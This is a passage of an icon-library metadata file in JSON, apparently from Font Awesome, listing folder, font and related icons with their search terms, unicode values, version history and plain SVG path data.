        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"
      }
    },
    "free": ["brands"]
  },
  "folder": {
    "aliases": {
      "names": ["folder-blank"],
      "unicodes": {
        "composite": ["1f4c1", "1f5bf", "f114"],
        "secondary": ["10f07b"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Folder",
        "archive",
        "directory",
        "document",
        "file",
        "file folder",
        "folder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f07b",
    "label": "Folder",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 480H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H288c-10.1 0-19.6-4.7-25.6-12.8L243.2 57.6C231.1 41.5 212.1 32 192 32H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H196.1c19.1 0 37.4 7.6 50.9 21.1L289.9 96H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16H286.6c-10.6 0-20.8-4.2-28.3-11.7L213.1 87c-4.5-4.5-10.6-7-17-7H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H196.1c19.1 0 37.4 7.6 50.9 21.1L289.9 96H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V160c0-8.8-7.2-16-16-16H286.6c-10.6 0-20.8-4.2-28.3-11.7L213.1 87c-4.5-4.5-10.6-7-17-7H64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-closed": {
    "changes": ["6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["file"]
    },
    "styles": ["solid", "regular"],
    "unicode": "e185",
    "label": "Folder Closed",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 480H64c-35.3 0-64-28.7-64-64V192H512V416c0 35.3-28.7 64-64 64zm64-320H0V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 480H64c-35.3 0-64-28.7-64-64V192H512V416c0 35.3-28.7 64-64 64zm64-320H0V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M251.7 127.6l0 0c10.5 10.5 24.7 16.4 39.6 16.4H448c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H197.5c4.2 0 8.3 1.7 11.3 4.7l33.9-33.9L208.8 84.7l42.9 42.9zM48 240H464V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V240zM285.7 93.7L242.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H291.3c-2.1 0-4.2-.8-5.7-2.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M251.7 127.6l0 0c10.5 10.5 24.7 16.4 39.6 16.4H448c8.8 0 16 7.2 16 16v32H48V96c0-8.8 7.2-16 16-16H197.5c4.2 0 8.3 1.7 11.3 4.7l33.9-33.9L208.8 84.7l42.9 42.9zM48 240H464V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V240zM285.7 93.7L242.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H291.3c-2.1 0-4.2-.8-5.7-2.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-minus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f65d"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "delete",
        "directory",
        "document",
        "file",
        "negative",
        "remove"
      ]
    },
    "styles": ["solid"],
    "unicode": "f65d",
    "label": "Folder Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64zM184 272c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M448 480H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64zM184 272c-13.3 0-24 10.7-24 24s10.7 24 24 24H328c13.3 0 24-10.7 24-24s-10.7-24-24-24H184z"
      }
    },
    "free": ["solid"]
  },
  "folder-open": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c2", "1f5c1", "f115"],
        "secondary": ["10f07c"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Open Folder",
        "archive",
        "directory",
        "document",
        "empty",
        "file",
        "folder",
        "new",
        "open",
        "open file folder"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f07c",
    "label": "Folder Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M88.7 223.8L0 375.8V96C0 60.7 28.7 32 64 32H181.5c17 0 33.3 6.7 45.3 18.7l26.5 26.5c12 12 28.3 18.7 45.3 18.7H416c35.3 0 64 28.7 64 64v32H144c-22.8 0-43.8 12.1-55.3 31.8zm27.6 16.1C122.1 230 132.6 224 144 224H544c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-112 192C453.9 474 443.4 480 432 480H32c-11.5 0-22-6.1-27.7-16.1s-5.7-22.2 .1-32.1l112-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M88.7 223.8L0 375.8V96C0 60.7 28.7 32 64 32H181.5c17 0 33.3 6.7 45.3 18.7l26.5 26.5c12 12 28.3 18.7 45.3 18.7H416c35.3 0 64 28.7 64 64v32H144c-22.8 0-43.8 12.1-55.3 31.8zm27.6 16.1C122.1 230 132.6 224 144 224H544c11.5 0 22 6.1 27.7 16.1s5.7 22.2-.1 32.1l-112 192C453.9 474 443.4 480 432 480H32c-11.5 0-22-6.1-27.7-16.1s-5.7-22.2 .1-32.1l112-192z"
      },
      "regular": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 480h48c11.4 0 21.9-6 27.6-15.9l112-192c5.8-9.9 5.8-22.1 .1-32.1S555.5 224 544 224H144c-11.4 0-21.9 6-27.6 15.9L48 357.1V96c0-8.8 7.2-16 16-16H181.5c4.2 0 8.3 1.7 11.3 4.7l26.5 26.5c21 21 49.5 32.8 79.2 32.8H416c8.8 0 16 7.2 16 16v32h48V160c0-35.3-28.7-64-64-64H298.5c-17 0-33.3-6.7-45.3-18.7L226.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H87.7 384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 480h48c11.4 0 21.9-6 27.6-15.9l112-192c5.8-9.9 5.8-22.1 .1-32.1S555.5 224 544 224H144c-11.4 0-21.9 6-27.6 15.9L48 357.1V96c0-8.8 7.2-16 16-16H181.5c4.2 0 8.3 1.7 11.3 4.7l26.5 26.5c21 21 49.5 32.8 79.2 32.8H416c8.8 0 16 7.2 16 16v32h48V160c0-35.3-28.7-64-64-64H298.5c-17 0-33.3-6.7-45.3-18.7L226.7 50.7c-12-12-28.3-18.7-45.3-18.7H64C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H87.7 384z"
      }
    },
    "free": ["regular", "solid"]
  },
  "folder-plus": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f65e"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.12.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "add",
        "archive",
        "create",
        "directory",
        "document",
        "file",
        "new",
        "positive"
      ]
    },
    "styles": ["solid"],
    "unicode": "f65e",
    "label": "Folder Plus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416zM232 376c0 13.3 10.7 24 24 24s24-10.7 24-24V312h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V200c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H192c20.1 0 39.1 9.5 51.2 25.6l19.2 25.6c6 8.1 15.5 12.8 25.6 12.8H448c35.3 0 64 28.7 64 64V416zM232 376c0 13.3 10.7 24 24 24s24-10.7 24-24V312h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H280V200c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z"
      }
    },
    "free": ["solid"]
  },
  "folder-tree": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f802"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "directory",
        "document",
        "file",
        "search",
        "structure"
      ]
    },
    "styles": ["solid"],
    "unicode": "f802",
    "label": "Folder Tree",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32v96V384c0 35.3 28.7 64 64 64H256V384H64V160H256V96H64V32zM288 192c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4L409.4 9.4c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V192zm0 288c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4l-13.3-13.3c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V480z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C64 14.3 49.7 0 32 0S0 14.3 0 32v96V384c0 35.3 28.7 64 64 64H256V384H64V160H256V96H64V32zM288 192c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4L409.4 9.4c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V192zm0 288c0 17.7 14.3 32 32 32H544c17.7 0 32-14.3 32-32V352c0-17.7-14.3-32-32-32H445.3c-8.5 0-16.6-3.4-22.6-9.4l-13.3-13.3c-6-6-14.1-9.4-22.6-9.4H320c-17.7 0-32 14.3-32 32V480z"
      }
    },
    "free": ["solid"]
  },
  "font": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f031"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabet", "glyph", "text", "type", "typeface"]
    },
    "styles": ["solid"],
    "unicode": "f031",
    "label": "Font",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M254 52.8C249.3 40.3 237.3 32 224 32s-25.3 8.3-30 20.8L57.8 416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-1.8l18-48H303.8l18 48H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H390.2L254 52.8zM279.8 304H168.2L224 155.1 279.8 304z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M254 52.8C249.3 40.3 237.3 32 224 32s-25.3 8.3-30 20.8L57.8 416H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-1.8l18-48H303.8l18 48H320c-17.7 0-32 14.3-32 32s14.3 32 32 32h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H390.2L254 52.8zM279.8 304H168.2L224 155.1 279.8 304z"
      }
    },
    "free": ["solid"]
  },
  "font-awesome": {
    "aliases": {
      "names": ["font-awesome-flag", "font-awesome-logo-full"],
      "unicodes": {
        "composite": ["f425", "f4e6"],
        "primary": ["f4e6"],
        "secondary": ["10f2b4", "10f4e6"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.15.4",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["awesome", "flag", "font", "icons", "typeface"]
    },
    "styles": ["solid", "regular", "brands"],
    "unicode": "f2b4",
    "label": "Font Awesome",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48V384c-63.1 22.5-82.3 32-119.5 32c-62.8 0-86.6-32-149.3-32c-20.6 0-36.6 3.6-51.2 8.2v-64c14.6-4.6 30.6-8.2 51.2-8.2c62.7 0 86.5 32 149.3 32c20.4 0 35.6-3 55.5-9.3v-208c-19.9 6.3-35.1 9.3-55.5 9.3c-62.8 0-86.6-32-149.3-32c-50.8 0-74.9 20.6-115.2 28.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32s32 14.3 32 32V76.7c40.3-8 64.4-28.7 115.2-28.7c62.7 0 86.5 32 149.3 32c37.1 0 56.4-9.5 119.5-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 48V384c-63.1 22.5-82.3 32-119.5 32c-62.8 0-86.6-32-149.3-32c-20.6 0-36.6 3.6-51.2 8.2v-64c14.6-4.6 30.6-8.2 51.2-8.2c62.7 0 86.5 32 149.3 32c20.4 0 35.6-3 55.5-9.3v-208c-19.9 6.3-35.1 9.3-55.5 9.3c-62.8 0-86.6-32-149.3-32c-50.8 0-74.9 20.6-115.2 28.7V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V64C0 46.3 14.3 32 32 32s32 14.3 32 32V76.7c40.3-8 64.4-28.7 115.2-28.7c62.7 0 86.5 32 149.3 32c37.1 0 56.4-9.5 119.5-32z"
      },
      "regular": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 56c0-13.3-10.7-24-24-24S0 42.7 0 56V456c0 13.3 10.7 24 24 24s24-10.7 24-24V124.2l12.5-2.4c16.7-3.2 31.5-8.5 44.2-13.1l0 0 0 0c3.7-1.3 7.1-2.6 10.4-3.7c15.2-5.2 30.4-9.1 51.2-9.1c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c32.4 0 53.7-6.8 90.5-19.6V342.9l-9.5 3.3c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-16.8 0-31 2-43.9 5c-12.9 3-20.9 16-17.9 28.9s16 20.9 28.9 17.9c9.6-2.2 20.1-3.7 32.9-3.7c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c34.4 0 56.4-7.7 97.8-22.2c7.5-2.6 15.5-5.4 24.4-8.5l16.2-5.5V360 72 38.4L416.2 49.3c-9.7 3.3-18.2 6.3-25.7 8.9c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-27.8 0-48.5 5.5-66.6 11.6c-4.9 1.7-9.3 3.3-13.6 4.8c-11.9 4.3-22 7.9-34.7 10.3L48 75.4V56z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 56c0-13.3-10.7-24-24-24S0 42.7 0 56V456c0 13.3 10.7 24 24 24s24-10.7 24-24V124.2l12.5-2.4c16.7-3.2 31.5-8.5 44.2-13.1l0 0 0 0c3.7-1.3 7.1-2.6 10.4-3.7c15.2-5.2 30.4-9.1 51.2-9.1c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c32.4 0 53.7-6.8 90.5-19.6V342.9l-9.5 3.3c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-16.8 0-31 2-43.9 5c-12.9 3-20.9 16-17.9 28.9s16 20.9 28.9 17.9c9.6-2.2 20.1-3.7 32.9-3.7c25.6 0 43 6 63.5 13.3l.5 .2c20.9 7.4 44.8 15.9 79.1 15.9c34.4 0 56.4-7.7 97.8-22.2c7.5-2.6 15.5-5.4 24.4-8.5l16.2-5.5V360 72 38.4L416.2 49.3c-9.7 3.3-18.2 6.3-25.7 8.9c-41.5 14.4-55.2 19.2-81 19.2c-25.7 0-43.1-6-63.6-13.3l-.6-.2c-20.8-7.4-44.8-15.8-79-15.8c-27.8 0-48.5 5.5-66.6 11.6c-4.9 1.7-9.3 3.3-13.6 4.8c-11.9 4.3-22 7.9-34.7 10.3L48 75.4V56z"
      },
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 48V384C385 407 366 416 329 416C266 416 242 384 179 384C159 384 143 388 128 392V328C143 324 159 320 179 320C242 320 266 352 329 352C349 352 364 349 384 343V135C364 141 349 144 329 144C266 144 242 112 179 112C128 112 104 133 64 141V448C64 466 50 480 32 480S0 466 0 448V64C0 46 14 32 32 32S64 46 64 64V77C104 69 128 48 179 48C242 48 266 80 329 80C366 80 385 71 448 48Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 48V384C385 407 366 416 329 416C266 416 242 384 179 384C159 384 143 388 128 392V328C143 324 159 320 179 320C242 320 266 352 329 352C349 352 364 349 384 343V135C364 141 349 144 329 144C266 144 242 112 179 112C128 112 104 133 64 141V448C64 466 50 480 32 480S0 466 0 448V64C0 46 14 32 32 32S64 46 64 64V77C104 69 128 48 179 48C242 48 266 80 329 80C366 80 385 71 448 48Z"
      }
    },
    "free": ["brands", "regular", "solid"]
  },
  "fonticons": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f280",
    "label": "Fonticons",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"
      }
    },
    "free": ["brands"]
  },
  "fonticons-fi": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3a2",
    "label": "Fonticons Fi",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"
      }
    },
    "free": ["brands"]
  },
  "football": {
    "aliases": {
      "names": ["football-ball"],
      "unicodes": {
        "composite": ["1f3c8"],
        "secondary": ["10f44e"]
      }
    },
    "changes": [
      "5.0.5",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "american football",
        "ball",
        "fall",
        "football",
        "nfl",
        "pigskin",
        "seasonal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f44e",
    "label": "Football",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
